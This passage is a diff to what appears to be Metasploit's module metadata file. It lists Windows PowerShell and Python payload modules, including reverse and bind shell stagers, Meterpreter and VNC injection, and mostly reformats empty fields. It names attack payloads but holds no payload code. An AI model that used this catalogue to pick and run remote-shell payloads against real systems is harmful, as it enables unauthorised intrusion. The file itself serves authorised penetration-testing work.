"fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233396,8 +235735,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233410,9 +235748,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233438,8 +235774,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233452,9 +235787,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233485,8 +235818,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233499,9 +235831,7 @@ "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233528,8 +235858,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233542,9 +235871,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233570,8 +235897,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233584,9 +235910,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233612,8 +235936,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233626,9 +235949,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233659,8 +235980,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233673,9 +235993,7 @@ "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233702,8 +236020,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233716,9 +236033,7 @@ "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233727,9 +236042,7 @@ "bwatters-r7" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233743,8 +236056,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233755,9 +236067,7 @@ "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233784,8 +236094,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233796,9 +236105,7 @@ "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233825,8 +236132,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233837,9 +236143,7 @@ "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233866,8 +236170,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233878,9 +236181,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233889,9 +236190,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233905,8 +236204,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233919,9 +236217,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233931,9 +236227,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233947,8 +236241,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -233961,9 +236254,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -233973,9 +236264,7 @@ "UserExistsError" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -233989,8 +236278,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234003,9 +236291,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234014,9 +236300,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234030,8 +236314,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234044,9 +236327,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234060,9 +236341,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234076,8 +236355,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234090,9 +236368,7 @@ "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234102,9 +236378,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234118,8 +236392,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234132,9 +236405,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234143,9 +236414,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234159,8 +236428,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234173,9 +236441,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234189,9 +236455,7 @@ "RageLtMan" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234205,8 +236469,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234219,9 +236482,7 @@ "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234231,9 +236492,7 @@ "OJ Reeves" ], "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234247,8 +236506,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234261,9 +236519,7 @@ "payload_cmd/windows/powershell/x64/shell_bind_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234272,9 +236528,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234288,8 +236542,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234300,9 +236553,7 @@ "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234311,9 +236562,7 @@ "sf " ], "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -234327,8 +236576,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234339,9 +236587,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234367,8 +236613,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234381,9 +236626,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234410,8 +236653,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234424,9 +236666,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234453,8 +236693,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234467,9 +236706,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { "name": "Powershell Exec, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234495,8 +236732,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234509,9 +236745,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234542,8 +236776,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234556,9 +236789,7 @@ "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234585,8 +236816,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234599,9 +236829,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234628,8 +236856,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234642,9 +236869,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234673,8 +236898,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234687,9 +236911,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { "name": "Powershell Exec, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234715,8 +236937,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234729,9 +236950,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234762,8 +236981,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234776,9 +236994,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234805,8 +237021,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234819,9 +237034,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234848,8 +237061,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234862,9 +237074,7 @@ "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234891,8 +237101,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -234905,9 +237114,7 @@ "payload_cmd/windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/cmd/windows/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234925,15 +237132,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", "is_install_path": true, "ref_name": "cmd/windows/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -234942,9 +237148,7 @@ "payload_cmd/windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/cmd/windows/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -234969,8 +237173,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -234979,9 +237182,7 @@ "payload_cmd/windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235006,8 +237207,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235016,9 +237216,7 @@ "payload_cmd/windows/python/exec": { "name": "Python Exec, Python Execute Command", "fullname": "payload/cmd/windows/python/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235026,9 +237224,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nExecute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235042,8 +237238,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235054,9 +237249,7 @@ "payload_cmd/windows/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235064,9 +237257,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235080,8 +237271,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235094,9 +237284,7 @@ "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235105,9 +237293,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235121,8 +237307,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235135,9 +237320,7 @@ "payload_cmd/windows/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235145,9 +237328,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235161,8 +237342,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235175,9 +237355,7 @@ "payload_cmd/windows/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235185,9 +237363,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235201,8 +237377,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235215,9 +237390,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235225,9 +237398,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235241,8 +237412,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235255,9 +237425,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235267,9 +237435,7 @@ "RageLtMan" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235283,8 +237449,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235297,9 +237462,7 @@ "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235308,9 +237471,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235324,8 +237485,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235338,9 +237498,7 @@ "payload_cmd/windows/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235348,9 +237506,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235364,8 +237520,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235376,9 +237531,7 @@ "payload_cmd/windows/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235386,9 +237539,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235402,8 +237553,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": 